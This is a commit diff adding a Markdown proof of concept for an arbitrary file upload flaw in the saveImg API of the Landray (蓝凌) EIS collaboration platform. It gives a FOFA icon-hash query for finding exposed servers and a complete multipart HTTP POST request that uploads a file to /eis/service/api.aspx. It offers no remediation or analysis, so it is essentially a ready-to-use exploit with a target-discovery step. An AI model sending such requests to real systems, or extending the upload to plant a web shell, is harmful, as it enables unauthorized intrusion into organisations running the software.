Create 蓝凌EIS智慧协同平台saveImg接口存在任意文件上传漏洞.md

蓝凌EIS智慧协同平台saveImg接口存在任意文件上传漏洞.md

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+
+## 蓝凌EIS智慧协同平台saveImg接口存在任意文件上传漏洞
+
+## fofa
+```
+icon_hash="953405444"
+```
+
+## POC
+```
+POST /eis/service/api.aspx?action=saveImg HTTP/1.1
+Host: IP:PORT
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
+Content-Length: 197
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
+
+------WebKitFormBoundaryxdgaqmqu
+Content-Disposition: form-data; name="file"filename="hello.txt"
+Content-Type: text/html
+
+hellohello
+------WebKitFormBoundaryxdgaqmqu--
+```